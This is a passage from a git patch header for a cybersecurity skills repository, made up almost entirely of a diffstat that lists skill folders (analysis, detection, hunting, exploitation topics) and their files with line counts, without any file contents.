From 22a7ab1462aa0ed29a08f73e8faa2cba2dd9ba5c Mon Sep 17 00:00:00 2001 From: mukul975 Date: Wed, 25 Feb 2026 10:47:44 +0100 Subject: [PATCH] Initial commit - 611 cybersecurity skills across all subdomains --- .gitignore | 14 + README.md | 45 + .../SKILL.md | 230 +++++ .../SKILL.md | 257 +++++ .../SKILL.md | 344 +++++++ .../SKILL.md | 215 +++++ .../assets/template.md | 22 + .../references/standards.md | 15 + .../references/workflows.md | 19 + .../scripts/process.py | 31 + .../SKILL.md | 216 +++++ .../assets/template.md | 39 + .../references/standards.md | 24 + .../references/workflows.md | 31 + .../scripts/process.py | 169 ++++ .../SKILL.md | 312 ++++++ .../SKILL.md | 360 +++++++ .../assets/template.md | 95 ++ .../references/standards.md | 94 ++ .../references/workflows.md | 72 ++ .../scripts/process.py | 337 +++++++ .../SKILL.md | 387 ++++++++ skills/analyzing-cyber-kill-chain/SKILL.md | 129 +++ .../SKILL.md | 252 +++++ .../SKILL.md | 287 ++++++ .../SKILL.md | 329 +++++++ .../SKILL.md | 312 ++++++ .../SKILL.md | 290 ++++++ .../assets/template.md | 35 + .../references/standards.md | 29 + .../references/workflows.md | 37 + .../scripts/process.py | 162 ++++ .../SKILL.md | 148 +++ .../SKILL.md | 186 ++++ .../assets/template.md | 80 ++ .../references/standards.md | 43 + .../references/workflows.md | 83 ++ .../scripts/process.py | 294 ++++++ skills/analyzing-linux-elf-malware/SKILL.md | 331 +++++++ .../analyzing-linux-system-artifacts/SKILL.md | 320 ++++++ .../SKILL.md | 191 ++++ .../assets/template.md | 26 + .../references/standards.md | 22 + .../references/workflows.md | 44 + .../scripts/process.py | 108 +++ .../SKILL.md | 320 ++++++ .../SKILL.md | 84 ++ .../assets/template.md | 87 ++ .../references/standards.md | 42 + .../references/workflows.md | 96 ++ .../scripts/process.py | 439 +++++++++ .../SKILL.md | 287 ++++++ .../SKILL.md | 259 +++++ .../SKILL.md | 92 ++ .../assets/template.md | 25 + .../references/standards.md | 9 + .../references/workflows.md | 11 + .../SKILL.md | 298 ++++++ .../SKILL.md | 188 ++++ .../assets/template.md | 31 + .../references/standards.md | 28 + .../references/workflows.md | 46 + .../scripts/process.py | 118 +++ .../SKILL.md | 185 ++++ .../assets/template.md | 25 + .../references/standards.md | 9 + .../references/workflows.md | 11 + .../SKILL.md | 252 +++++ .../SKILL.md | 324 +++++++ .../SKILL.md | 218 +++++ .../SKILL.md | 241 +++++ .../references/standards.md | 16 + .../references/workflows.md | 19 + .../SKILL.md | 299 ++++++ .../analyzing-pdf-malware-with-pdfid/SKILL.md | 341 +++++++ .../analyzing-phishing-email-headers/SKILL.md | 78 ++ .../assets/template.md | 86 ++ .../references/standards.md | 42 + .../references/workflows.md | 89 ++ .../scripts/process.py | 566 +++++++++++ .../SKILL.md | 311 ++++++ .../SKILL.md | 327 +++++++ .../SKILL.md | 316 ++++++ .../SKILL.md | 238 +++++ .../SKILL.md | 382 ++++++++ .../SKILL.md | 133 +++ .../assets/template.md | 25 + .../references/standards.md | 9 + .../references/workflows.md | 11 + .../SKILL.md | 255 +++++ .../assets/template.md | 87 ++ .../references/standards.md | 89 ++ .../references/workflows.md | 90 ++ .../scripts/process.py | 353 +++++++ .../SKILL.md | 104 ++ .../SKILL.md | 298 ++++++ .../SKILL.md | 352 +++++++ .../SKILL.md | 279 ++++++ .../SKILL.md | 310 ++++++ .../SKILL.md | 281 ++++++ .../SKILL.md | 128 +++ .../assets/template.md | 18 + .../references/standards.md | 14 + .../references/workflows.md | 15 + .../scripts/process.py | 38 + .../SKILL.md | 255 +++++ .../SKILL.md | 256 +++++ .../SKILL.md | 250 +++++ skills/auditing-gcp-iam-permissions/SKILL.md | 308 ++++++ .../auditing-kubernetes-cluster-rbac/SKILL.md | 312 ++++++ .../SKILL.md | 205 ++++ .../assets/template.md | 25 + .../references/standards.md | 34 + .../references/workflows.md | 60 ++ .../scripts/process.py | 257 +++++ .../SKILL.md | 339 +++++++ skills/automating-ioc-enrichment/SKILL.md | 196 ++++ .../SKILL.md | 318 ++++++ .../SKILL.md | 294 ++++++ .../SKILL.md | 486 ++++++++++ .../SKILL.md | 173 ++++ .../assets/template.md | 69 ++ .../references/standards.md | 32 + .../references/workflows.md | 72 ++ .../scripts/process.py | 180 ++++ .../SKILL.md | 258 +++++ .../SKILL.md | 299 ++++++ .../SKILL.md | 226 +++++ .../assets/template.md | 99 ++ .../references/standards.md | 68 ++ .../references/workflows.md | 93 ++ .../scripts/process.py | 338 +++++++ .../SKILL.md | 311 ++++++ .../SKILL.md | 236 +++++ .../assets/template.md | 35 + .../references/standards.md | 48 + .../references/workflows.md | 84 ++ .../scripts/process.py | 174 ++++ .../SKILL.md | 210 ++++ .../assets/template.md | 51 + .../references/standards.md | 53 + .../references/workflows.md | 112 +++ .../scripts/process.py | 220 +++++ .../SKILL.md | 676 +++++++++++++ .../SKILL.md | 290 ++++++ .../SKILL.md | 253 +++++ .../SKILL.md | 229 +++++ .../assets/template.md | 79 ++ .../references/standards.md | 44 + .../references/workflows.md | 155 +++ .../scripts/process.py | 355 +++++++ .../SKILL.md | 350 +++++++ .../SKILL.md | 245 +++++ .../assets/template.md | 85 ++ .../references/standards.md | 77 ++ .../references/workflows.md | 103 ++ .../scripts/process.py | 444 +++++++++ .../SKILL.md | 311 ++++++ .../assets/template.md | 51 + .../references/standards.md | 36 + .../references/workflows.md | 104 ++ .../scripts/process.py | 292 ++++++ .../SKILL.md | 197 ++++ .../assets/template.md | 30 + .../references/standards.md | 29 + .../references/workflows.md | 56 ++ .../scripts/process.py | 195 ++++ .../SKILL.md | 74 ++ .../assets/template.md | 28 + .../references/standards.md | 28 + .../references/workflows.md | 69 ++ .../scripts/process.py | 304 ++++++ .../SKILL.md | 284 ++++++ .../assets/template.md | 129 +++ .../references/standards.md | 62 ++ .../references/workflows.md | 177 ++++ .../scripts/process.py | 355 +++++++ .../SKILL.md | 235 +++++ .../assets/template.md | 52 + .../references/standards.md | 46 + .../references/workflows.md | 82 ++ .../scripts/process.py | 251 +++++ .../building-soc-escalation-matrix/SKILL.md | 188 ++++ .../assets/template.md | 30 + .../references/standards.md | 27 + .../references/workflows.md | 40 + .../scripts/process.py | 221 +++++ .../SKILL.md | 287 ++++++ .../SKILL.md | 261 +++++ .../SKILL.md | 354 +++++++ .../SKILL.md | 317 ++++++ .../SKILL.md | 79 ++ .../assets/template.md | 107 +++ .../references/standards.md | 41 + .../references/workflows.md | 81 ++ .../scripts/process.py | 77 ++ .../SKILL.md | 287 ++++++ .../assets/template.md | 48 + .../references/standards.md | 42 + .../references/workflows.md | 63 ++ .../scripts/process.py | 251 +++++ .../SKILL.md | 322 +++++++ .../SKILL.md | 296 ++++++ .../assets/template.md | 33 + .../references/standards.md | 28 + .../references/workflows.md | 31 + .../scripts/process.py | 179 ++++ .../SKILL.md | 267 +++++ .../assets/template.md | 28 + .../references/standards.md | 27 + .../references/workflows.md | 35 + .../scripts/process.py | 176 ++++ .../SKILL.md | 227 +++++ .../assets/template.md | 69 ++ .../references/standards.md | 36 + .../references/workflows.md | 43 + .../scripts/process.py | 229 +++++ .../SKILL.md | 161 ++++ .../assets/template.md | 55 ++ .../references/standards.md | 34 + .../references/workflows.md | 47 + .../scripts/process.py | 229 +++++ .../SKILL.md | 332 +++++++ .../SKILL.md | 267 +++++ .../SKILL.md | 254 +++++ .../SKILL.md | 130 +++ .../SKILL.md | 164 ++++ .../assets/template.md | 107 +++ .../references/standards.md | 47 + .../references/workflows.md | 92 ++ .../scripts/process.py | 346 +++++++ .../SKILL.md | 234 +++++ .../assets/template.md | 68 ++ .../references/standards.md | 62 ++ .../references/workflows.md | 114 +++ .../scripts/process.py | 418 ++++++++ .../conducting-api-security-testing/SKILL.md | 177 ++++ .../SKILL.md | 279 ++++++ .../SKILL.md | 258 +++++ .../assets/template.md | 25 + .../references/standards.md | 12 + .../references/workflows.md | 13 + .../scripts/process.py | 134 +++ .../SKILL.md | 271 ++++++ .../SKILL.md | 170 ++++ .../assets/template.md | 35 + .../references/standards.md | 26 + .../references/workflows.md | 38 + .../scripts/process.py | 180 ++++ .../SKILL.md | 174 ++++ .../SKILL.md | 172 ++++ .../assets/template.md | 266 +++++ .../references/standards.md | 106 ++ .../references/workflows.md | 131 +++ .../scripts/process.py | 512 ++++++++++ .../SKILL.md | 278 ++++++ .../assets/template.md | 61 ++ .../references/standards.md | 29 + .../references/workflows.md | 51 + .../scripts/process.py | 232 +++++ .../SKILL.md | 158 +++ .../assets/template.md | 49 + .../references/standards.md | 27 + .../references/workflows.md | 58 ++ .../scripts/process.py | 211 ++++ .../SKILL.md | 206 ++++ .../SKILL.md | 280 ++++++ .../SKILL.md | 270 ++++++ .../SKILL.md | 197 ++++ .../SKILL.md | 233 +++++ .../SKILL.md | 188 ++++ .../SKILL.md | 65 ++ .../assets/template.md | 39 + .../references/standards.md | 35 + .../references/workflows.md | 100 ++ .../scripts/process.py | 329 +++++++ .../SKILL.md | 239 +++++ .../SKILL.md | 174 ++++ .../assets/template.md | 92 ++ .../references/standards.md | 31 + .../references/workflows.md | 60 ++ .../scripts/process.py | 254 +++++ .../SKILL.md | 305 ++++++ .../assets/template.md | 45 + .../references/standards.md | 21 + .../references/workflows.md | 35 + .../scripts/process.py | 196 ++++ .../SKILL.md | 151 +++ .../assets/template.md | 56 ++ .../references/standards.md | 30 + .../references/workflows.md | 83 ++ .../scripts/process.py | 228 +++++ .../SKILL.md | 100 ++ .../assets/template.md | 173 ++++ .../references/standards.md | 75 ++ .../references/workflows.md | 238 +++++ .../scripts/process.py | 591 ++++++++++++ .../SKILL.md | 170 ++++ .../SKILL.md | 37 + .../SKILL.md | 433 +++++++++ .../assets/template.md | 40 + .../references/standards.md | 44 + .../references/workflows.md | 81 ++ .../scripts/process.py | 234 +++++ .../SKILL.md | 69 ++ .../assets/template.md | 73 ++ .../references/standards.md | 33 + .../references/workflows.md | 88 ++ .../scripts/process.py | 455 +++++++++ .../SKILL.md | 211 ++++ .../assets/template.md | 43 + .../references/standards.md | 33 + .../references/workflows.md | 47 + .../scripts/process.py | 152 +++ .../configuring-hsm-for-key-storage/SKILL.md | 71 ++ .../assets/template.md | 36 + .../references/standards.md | 46 + .../references/workflows.md | 78 ++ .../scripts/process.py | 353 +++++++ .../SKILL.md | 371 +++++++ .../assets/template.md | 52 + .../references/standards.md | 31 + .../references/workflows.md | 60 ++ .../scripts/process.py | 218 +++++ .../SKILL.md | 37 + .../SKILL.md | 141 +++ .../assets/template.md | 81 ++ .../references/standards.md | 70 ++ .../references/workflows.md | 179 ++++ .../scripts/process.py | 338 +++++++ .../SKILL.md | 120 +++ .../assets/template.md | 37 + .../references/standards.md | 26 + .../references/workflows.md | 36 + .../scripts/process.py | 268 ++++++ .../SKILL.md | 409 ++++++++ .../SKILL.md | 111 +++ .../assets/template.md | 72 ++ .../references/standards.md | 52 + .../references/workflows.md | 123 +++ .../scripts/process.py | 465 +++++++++ .../SKILL.md | 335 +++++++ .../SKILL.md | 395 ++++++++ .../SKILL.md | 390 ++++++++ .../SKILL.md | 79 ++ .../assets/template.md | 67 ++ .../references/standards.md | 67 ++ .../references/workflows.md | 87 ++ .../scripts/process.py | 419 ++++++++ .../SKILL.md | 274 ++++++ .../assets/template.md | 93 ++ .../references/standards.md | 57 ++ .../references/workflows.md | 109 +++ .../scripts/process.py | 233 +++++ .../SKILL.md | 169 ++++ .../assets/template.md | 20 + .../references/standards.md | 6 + .../references/workflows.md | 8 + .../scripts/process.py | 64 ++ .../SKILL.md | 297 ++++++ .../assets/template.md | 79 ++ .../references/standards.md | 33 + .../references/workflows.md | 78 ++ .../scripts/process.py | 319 ++++++ skills/containing-active-breach/SKILL.md | 214 +++++ .../SKILL.md | 186 ++++ .../assets/template.md | 130 +++ .../references/standards.md | 66 ++ .../references/workflows.md | 107 +++ .../scripts/process.py | 517 ++++++++++ .../SKILL.md | 275 ++++++ skills/correlating-threat-campaigns/SKILL.md | 147 +++ .../deobfuscating-javascript-malware/SKILL.md | 349 +++++++ .../SKILL.md | 354 +++++++ .../assets/template.md | 66 ++ .../references/standards.md | 41 + .../references/workflows.md | 50 + .../scripts/process.py | 321 +++++++ .../SKILL.md | 376 ++++++++ .../assets/template.md | 55 ++ .../references/standards.md | 33 + .../references/workflows.md | 65 ++ .../scripts/process.py | 246 +++++ .../SKILL.md | 246 +++++ .../assets/template.md | 89 ++ .../references/standards.md | 49 + .../references/workflows.md | 130 +++ .../scripts/process.py | 236 +++++ .../SKILL.md | 187 ++++ .../assets/template.md | 22 + .../references/standards.md | 7 + .../references/workflows.md | 17 + .../scripts/process.py | 85 ++ .../SKILL.md | 287 ++++++ .../SKILL.md | 156 +++ .../assets/template.md | 58 ++ .../references/standards.md | 73 ++ .../references/workflows.md | 119 +++ .../scripts/process.py | 283 ++++++ .../SKILL.md | 409 ++++++++ .../assets/template.md | 75 ++ .../references/standards.md | 55 ++ .../references/workflows.md | 97 ++ .../scripts/process.py | 340 +++++++ .../SKILL.md | 313 ++++++ .../SKILL.md | 706 ++++++++++++++ .../SKILL.md | 399 ++++++++ .../SKILL.md | 390 ++++++++ .../SKILL.md | 276 ++++++ .../SKILL.md | 695 ++++++++++++++ .../SKILL.md | 265 +++++ .../SKILL.md | 317 ++++++ .../assets/template.md | 23 + .../references/standards.md | 21 + .../references/workflows.md | 22 + .../scripts/process.py | 128 +++ .../SKILL.md | 213 ++++ .../assets/template.md | 28 + .../references/standards.md | 19 + .../references/workflows.md | 22 + .../scripts/process.py | 240 +++++ .../SKILL.md | 383 ++++++++ .../SKILL.md | 73 ++ .../assets/template.md | 32 + .../references/standards.md | 30 + .../references/workflows.md | 53 + .../scripts/process.py | 328 +++++++ .../SKILL.md | 76 ++ .../assets/template.md | 32 + .../references/standards.md | 31 + .../references/workflows.md | 90 ++ .../scripts/process.py | 326 +++++++ .../SKILL.md | 318 ++++++ .../SKILL.md | 279 ++++++ .../SKILL.md | 328 +++++++ .../SKILL.md | 217 +++++ .../assets/template.md | 35 + .../references/standards.md | 28 + .../references/workflows.md | 39 + .../scripts/process.py | 213 ++++ .../SKILL.md | 294 ++++++ .../assets/template.md | 42 + .../references/standards.md | 53 + .../references/workflows.md | 81 ++ .../scripts/process.py | 377 ++++++++ .../SKILL.md | 310 ++++++ .../assets/template.md | 64 ++ .../references/standards.md | 60 ++ .../references/workflows.md | 109 +++ .../scripts/process.py | 232 +++++ .../SKILL.md | 90 ++ .../assets/template.md | 64 ++ .../references/standards.md | 87 ++ .../references/workflows.md | 134 +++ .../scripts/process.py | 383 ++++++++ .../detecting-cryptomining-in-cloud/SKILL.md | 322 +++++++ .../SKILL.md | 135 +++ .../assets/template.md | 47 + .../references/standards.md | 49 + .../references/workflows.md | 99 ++ .../scripts/process.py | 154 +++ .../SKILL.md | 84 ++ .../assets/template.md | 21 + .../references/standards.md | 49 + .../references/workflows.md | 67 ++ .../scripts/process.py | 181 ++++ .../SKILL.md | 343 +++++++ .../SKILL.md | 421 ++++++++ .../SKILL.md | 78 ++ .../assets/template.md | 106 ++ .../references/standards.md | 40 + .../references/workflows.md | 74 ++ .../scripts/process.py | 81 ++ .../SKILL.md | 244 +++++ .../assets/template.md | 39 + .../references/standards.md | 33 + .../references/workflows.md | 74 ++ .../scripts/process.py | 205 ++++ .../SKILL.md | 164 ++++ .../assets/template.md | 19 + .../references/standards.md | 7 + .../references/workflows.md | 8 + .../scripts/process.py | 55 ++ .../SKILL.md | 408 ++++++++ .../SKILL.md | 88 ++ .../SKILL.md | 78 ++ .../assets/template.md | 106 ++ .../references/standards.md | 40 + .../references/workflows.md | 76 ++ .../scripts/process.py | 79 ++ .../detecting-kerberoasting-attacks/SKILL.md | 78 ++ .../assets/template.md | 106 ++ .../references/standards.md | 40 + .../references/workflows.md | 78 ++ .../scripts/process.py | 80 ++ .../SKILL.md | 429 +++++++++ .../SKILL.md | 90 ++ .../assets/template.md | 45 + .../references/standards.md | 63 ++ .../references/workflows.md | 142 +++ .../scripts/process.py | 335 +++++++ .../SKILL.md | 79 ++ .../assets/template.md | 107 +++ .../references/standards.md | 41 + .../references/workflows.md | 73 ++ .../scripts/process.py | 87 ++ .../SKILL.md | 255 +++++ .../SKILL.md | 196 ++++ .../assets/template.md | 35 + .../references/standards.md | 20 + .../references/workflows.md | 18 + .../scripts/process.py | 235 +++++ .../SKILL.md | 498 ++++++++++ .../SKILL.md | 377 ++++++++ .../SKILL.md | 394 ++++++++ .../SKILL.md | 280 ++++++ .../detecting-pass-the-hash-attacks/SKILL.md | 78 ++ .../assets/template.md | 106 ++ .../references/standards.md | 40 + .../references/workflows.md | 77 ++ .../scripts/process.py | 85 ++ .../SKILL.md | 360 +++++++ .../SKILL.md | 79 ++ .../assets/template.md | 107 +++ .../references/standards.md | 41 + .../references/workflows.md | 77 ++ .../scripts/process.py | 83 ++ .../SKILL.md | 231 +++++ .../assets/template.md | 26 + .../references/standards.md | 27 + .../references/workflows.md | 31 + .../scripts/process.py | 142 +++ .../SKILL.md | 90 ++ .../assets/template.md | 29 + .../references/standards.md | 79 ++ .../references/workflows.md | 121 +++ .../scripts/process.py | 320 ++++++ .../SKILL.md | 348 +++++++ .../SKILL.md | 93 ++ .../assets/template.md | 35 + .../references/standards.md | 39 + .../references/workflows.md | 95 ++ .../scripts/process.py | 341 +++++++ .../SKILL.md | 286 ++++++ .../assets/template.md | 45 + .../references/standards.md | 49 + .../references/workflows.md | 115 +++ .../scripts/process.py | 493 ++++++++++ skills/detecting-rootkit-activity/SKILL.md | 297 ++++++ .../SKILL.md | 325 +++++++ .../detecting-service-account-abuse/SKILL.md | 78 ++ .../assets/template.md | 106 ++ .../references/standards.md | 40 + .../references/workflows.md | 75 ++ .../scripts/process.py | 78 ++ .../detecting-shadow-api-endpoints/SKILL.md | 353 +++++++ .../SKILL.md | 90 ++ .../assets/template.md | 58 ++ .../references/standards.md | 48 + .../references/workflows.md | 151 +++ .../scripts/process.py | 576 +++++++++++ .../detecting-stuxnet-style-attacks/SKILL.md | 475 +++++++++ .../SKILL.md | 78 ++ .../assets/template.md | 106 ++ .../references/standards.md | 40 + .../references/workflows.md | 74 ++ .../scripts/process.py | 88 ++ .../SKILL.md | 136 +++ .../assets/template.md | 37 + .../references/standards.md | 45 + .../references/workflows.md | 70 ++ .../scripts/process.py | 119 +++ .../SKILL.md | 152 +++ .../assets/template.md | 30 + .../references/standards.md | 70 ++ .../references/workflows.md | 90 ++ .../scripts/process.py | 163 ++++ .../SKILL.md | 118 +++ .../assets/template.md | 30 + .../references/standards.md | 43 + .../references/workflows.md | 58 ++ .../scripts/process.py | 119 +++ .../SKILL.md | 215 +++++ .../assets/template.md | 65 ++ .../references/standards.md | 65 ++ .../references/workflows.md | 125 +++ .../scripts/process.py | 442 +++++++++ .../SKILL.md | 148 +++ .../SKILL.md | 174 ++++ .../executing-diamond-model-analysis/SKILL.md | 132 +++ .../SKILL.md | 183 ++++ .../SKILL.md | 122 +++ .../assets/template.md | 279 ++++++ .../references/standards.md | 93 ++ .../references/workflows.md | 190 ++++ .../scripts/process.py | 908 ++++++++++++++++++ skills/executing-red-team-exercise/SKILL.md | 175 ++++ .../SKILL.md | 145 +++ .../assets/template.md | 42 + .../references/standards.md | 30 + .../references/workflows.md | 55 ++ .../scripts/process.py | 218 +++++ .../SKILL.md | 90 ++ .../assets/template.md | 96 ++ .../references/standards.md | 78 ++ .../references/workflows.md | 215 +++++ .../scripts/process.py | 567 +++++++++++ .../SKILL.md | 459 +++++++++ .../SKILL.md | 341 +++++++ .../SKILL.md | 364 +++++++ .../exploiting-broken-link-hijacking/SKILL.md | 212 ++++ .../SKILL.md | 162 ++++ .../references/standards.md | 24 + .../references/workflows.md | 22 + .../SKILL.md | 171 ++++ .../assets/template.md | 26 + .../references/standards.md | 21 + .../references/workflows.md | 24 + .../scripts/process.py | 179 ++++ .../SKILL.md | 371 +++++++ .../SKILL.md | 325 +++++++ .../exploiting-idor-vulnerabilities/SKILL.md | 291 ++++++ .../SKILL.md | 198 ++++ .../assets/template.md | 45 + .../references/standards.md | 54 ++ .../references/workflows.md | 56 ++ .../scripts/process.py | 290 ++++++ .../SKILL.md | 314 ++++++ .../exploiting-ipv6-vulnerabilities/SKILL.md | 295 ++++++ .../SKILL.md | 452 +++++++++ .../SKILL.md | 194 ++++ .../assets/template.md | 89 ++ .../references/standards.md | 54 ++ .../references/workflows.md | 115 +++ .../scripts/process.py | 321 +++++++ .../SKILL.md | 215 +++++ .../SKILL.md | 67 ++ .../assets/template.md | 27 + .../references/standards.md | 32 + .../references/workflows.md | 93 ++ .../scripts/process.py | 300 ++++++ .../SKILL.md | 157 +++ .../assets/template.md | 32 + .../references/standards.md | 26 + .../references/workflows.md | 21 + .../scripts/process.py | 143 +++ .../SKILL.md | 199 ++++ .../assets/template.md | 30 + .../references/standards.md | 19 + .../references/workflows.md | 23 + .../scripts/process.py | 222 +++++ .../SKILL.md | 298 ++++++ .../SKILL.md | 215 +++++ .../SKILL.md | 223 +++++ .../SKILL.md | 336 +++++++ .../SKILL.md | 241 +++++ .../SKILL.md | 187 ++++ .../SKILL.md | 239 +++++ .../SKILL.md | 303 ++++++ .../SKILL.md | 249 +++++ .../SKILL.md | 190 ++++ .../assets/template.md | 33 + .../references/standards.md | 34 + .../references/workflows.md | 58 ++ .../scripts/process.py | 317 ++++++ .../SKILL.md | 405 ++++++++ .../SKILL.md | 190 ++++ .../assets/template.md | 48 + .../references/standards.md | 31 + .../references/workflows.md | 61 ++ .../scripts/process.py | 297 ++++++ .../SKILL.md | 333 +++++++ .../SKILL.md | 169 ++++ .../assets/template.md | 25 + .../references/standards.md | 9 + .../references/workflows.md | 11 + .../SKILL.md | 319 ++++++ .../SKILL.md | 381 ++++++++ .../SKILL.md | 325 +++++++ .../SKILL.md | 136 +++ .../SKILL.md | 212 ++++ .../assets/template.md | 105 ++ .../references/standards.md | 80 ++ .../references/workflows.md | 130 +++ .../scripts/process.py | 441 +++++++++ .../SKILL.md | 305 ++++++ .../assets/template.md | 61 ++ .../references/standards.md | 57 ++ .../references/workflows.md | 107 +++ .../scripts/process.py | 273 ++++++ .../SKILL.md | 220 +++++ .../assets/template.md | 29 + .../references/standards.md | 21 + .../references/workflows.md | 20 + .../scripts/process.py | 71 ++ .../SKILL.md | 192 ++++ .../assets/template.md | 68 ++ .../references/standards.md | 53 + .../references/workflows.md | 120 +++ .../scripts/process.py | 242 +++++ .../SKILL.md | 118 +++ .../SKILL.md | 150 +++ .../assets/template.md | 53 + .../references/standards.md | 61 ++ .../references/workflows.md | 150 +++ .../scripts/process.py | 248 +++++ .../SKILL.md | 95 ++ .../assets/template.md | 36 + .../references/standards.md | 69 ++ .../references/workflows.md | 137 +++ .../scripts/process.py | 399 ++++++++ .../SKILL.md | 90 ++ .../assets/template.md | 26 + .../references/standards.md | 44 + .../references/workflows.md | 78 ++ .../scripts/process.py | 261 +++++ .../SKILL.md | 128 +++ .../assets/template.md | 30 + .../references/standards.md | 46 + .../references/workflows.md | 86 ++ .../scripts/process.py | 165 ++++ .../SKILL.md | 78 ++ .../assets/template.md | 106 ++ .../references/standards.md | 40 + .../references/workflows.md | 76 ++ .../scripts/process.py | 82 ++ .../SKILL.md | 96 ++ .../assets/template.md | 154 +++ .../references/standards.md | 75 ++ .../references/workflows.md | 117 +++ .../scripts/process.py | 511 ++++++++++ .../SKILL.md | 156 +++ .../assets/template.md | 36 + .../references/standards.md | 54 ++ .../references/workflows.md | 103 ++ .../scripts/process.py | 188 ++++ .../SKILL.md | 91 ++ .../assets/template.md | 68 ++ .../references/standards.md | 100 ++ .../references/workflows.md | 102 ++ .../scripts/process.py | 428 +++++++++ .../SKILL.md | 124 +++ .../assets/template.md | 30 + .../references/standards.md | 57 ++ .../references/workflows.md | 81 ++ .../scripts/process.py | 174 ++++ .../SKILL.md | 79 ++ .../assets/template.md | 107 +++ .../references/standards.md | 41 + .../references/workflows.md | 74 ++ .../scripts/process.py | 82 ++ .../SKILL.md | 78 ++ .../assets/template.md | 106 ++ .../references/standards.md | 40 + .../references/workflows.md | 74 ++ .../scripts/process.py | 89 ++ .../hunting-for-shadow-copy-deletion/SKILL.md | 78 ++ .../assets/template.md | 106 ++ .../references/standards.md | 40 + .../references/workflows.md | 73 ++ .../scripts/process.py | 81 ++ .../SKILL.md | 78 ++ .../assets/template.md | 106 ++ .../references/standards.md | 40 + .../references/workflows.md | 75 ++ .../scripts/process.py | 80 ++ .../SKILL.md | 78 ++ .../assets/template.md | 106 ++ .../references/standards.md | 40 + .../references/workflows.md | 76 ++ .../scripts/process.py | 80 ++ .../SKILL.md | 90 ++ .../assets/template.md | 24 + .../references/standards.md | 32 + .../references/workflows.md | 35 + .../scripts/process.py | 118 +++ .../SKILL.md | 78 ++ .../assets/template.md | 106 ++ .../references/standards.md | 40 + .../references/workflows.md | 76 ++ .../scripts/process.py | 77 ++ skills/hunting-for-webshell-activity/SKILL.md | 78 ++ .../assets/template.md | 106 ++ .../references/standards.md | 40 + .../references/workflows.md | 75 ++ .../scripts/process.py | 91 ++ .../SKILL.md | 82 ++ .../assets/template.md | 92 ++ .../references/standards.md | 76 ++ .../references/workflows.md | 122 +++ .../scripts/process.py | 330 +++++++ .../SKILL.md | 317 ++++++ .../SKILL.md | 78 ++ .../assets/template.md | 65 ++ .../references/standards.md | 49 + .../references/workflows.md | 125 +++ .../scripts/process.py | 366 +++++++ .../SKILL.md | 368 +++++++ .../SKILL.md | 452 +++++++++ .../SKILL.md | 391 ++++++++ .../SKILL.md | 466 +++++++++ .../SKILL.md | 407 ++++++++ .../SKILL.md | 388 ++++++++ .../SKILL.md | 334 +++++++ .../SKILL.md | 305 ++++++ .../SKILL.md | 242 +++++ .../assets/template.md | 80 ++ .../references/standards.md | 43 + .../references/workflows.md | 137 +++ .../scripts/process.py | 242 +++++ .../SKILL.md | 238 +++++ .../assets/template.md | 27 + .../references/standards.md | 34 + .../references/workflows.md | 58 ++ .../scripts/process.py | 159 +++ .../SKILL.md | 236 +++++ .../assets/template.md | 36 + .../references/standards.md | 31 + .../references/workflows.md | 56 ++ .../scripts/process.py | 229 +++++ .../SKILL.md | 333 +++++++ .../SKILL.md | 241 +++++ .../assets/template.md | 50 + .../references/standards.md | 41 + .../references/workflows.md | 86 ++ .../scripts/process.py | 250 +++++ .../SKILL.md | 295 ++++++ .../assets/template.md | 32 + .../references/standards.md | 18 + .../references/workflows.md | 22 + .../scripts/process.py | 162 ++++ .../SKILL.md | 298 ++++++ skills/implementing-aws-security-hub/SKILL.md | 218 +++++ .../SKILL.md | 221 +++++ .../assets/template.md | 51 + .../references/standards.md | 46 + .../references/workflows.md | 107 +++ .../scripts/process.py | 219 +++++ .../SKILL.md | 300 ++++++ .../SKILL.md | 318 ++++++ .../assets/template.md | 106 ++ .../references/standards.md | 47 + .../references/workflows.md | 116 +++ .../scripts/process.py | 391 ++++++++ .../SKILL.md | 307 ++++++ .../SKILL.md | 313 ++++++ .../assets/template.md | 116 +++ .../references/standards.md | 51 + .../references/workflows.md | 102 ++ .../scripts/process.py | 415 ++++++++ .../SKILL.md | 436 +++++++++ .../SKILL.md | 284 ++++++ .../SKILL.md | 333 +++++++ .../SKILL.md | 204 ++++ .../assets/template.md | 43 + .../references/standards.md | 34 + .../references/workflows.md | 29 + .../scripts/process.py | 175 ++++ skills/implementing-cloud-waf-rules/SKILL.md | 301 ++++++ .../SKILL.md | 215 +++++ .../assets/template.md | 53 + .../references/standards.md | 40 + .../references/workflows.md | 42 + .../scripts/process.py | 209 ++++ .../SKILL.md | 37 + .../SKILL.md | 357 +++++++ .../SKILL.md | 187 ++++ .../assets/template.md | 31 + .../references/standards.md | 16 + .../references/workflows.md | 19 + .../scripts/process.py | 195 ++++ .../SKILL.md | 233 +++++ .../assets/template.md | 24 + .../references/standards.md | 27 + .../references/workflows.md | 30 + .../scripts/process.py | 140 +++ .../SKILL.md | 422 ++++++++ .../SKILL.md | 405 ++++++++ .../SKILL.md | 439 +++++++++ .../assets/template.md | 104 ++ .../references/standards.md | 36 + .../references/workflows.md | 71 ++ .../scripts/process.py | 302 ++++++ .../SKILL.md | 155 +++ .../assets/template.md | 39 + .../references/standards.md | 24 + .../references/workflows.md | 31 + .../scripts/process.py | 125 +++ .../SKILL.md | 63 ++ .../assets/template.md | 34 + .../references/standards.md | 36 + .../references/workflows.md | 66 ++ .../scripts/process.py | 319 ++++++ .../SKILL.md | 209 ++++ .../assets/template.md | 45 + .../references/standards.md | 30 + .../references/workflows.md | 79 ++ .../scripts/process.py | 176 ++++ .../SKILL.md | 103 ++ .../assets/template.md | 76 ++ .../references/standards.md | 62 ++ .../references/workflows.md | 124 +++ .../scripts/process.py | 597 ++++++++++++ .../SKILL.md | 347 +++++++ .../SKILL.md | 85 ++ .../assets/template.md | 34 + .../references/standards.md | 34 + .../references/workflows.md | 69 ++ .../scripts/process.py | 241 +++++ .../SKILL.md | 57 ++ .../assets/template.md | 41 + .../references/standards.md | 40 + .../references/workflows.md | 87 ++ .../scripts/process.py | 358 +++++++ .../SKILL.md | 149 +++ .../assets/template.md | 20 + .../references/standards.md | 6 + .../references/workflows.md | 8 + .../scripts/process.py | 47 + .../SKILL.md | 69 ++ .../assets/template.md | 90 ++ .../references/standards.md | 53 + .../references/workflows.md | 76 ++ .../scripts/process.py | 345 +++++++ .../SKILL.md | 197 ++++ .../assets/template.md | 41 + .../references/standards.md | 59 ++ .../references/workflows.md | 32 + .../scripts/process.py | 215 +++++ .../SKILL.md | 264 +++++ .../assets/template.md | 36 + .../references/standards.md | 36 + .../references/workflows.md | 64 ++ .../scripts/process.py | 175 ++++ .../SKILL.md | 261 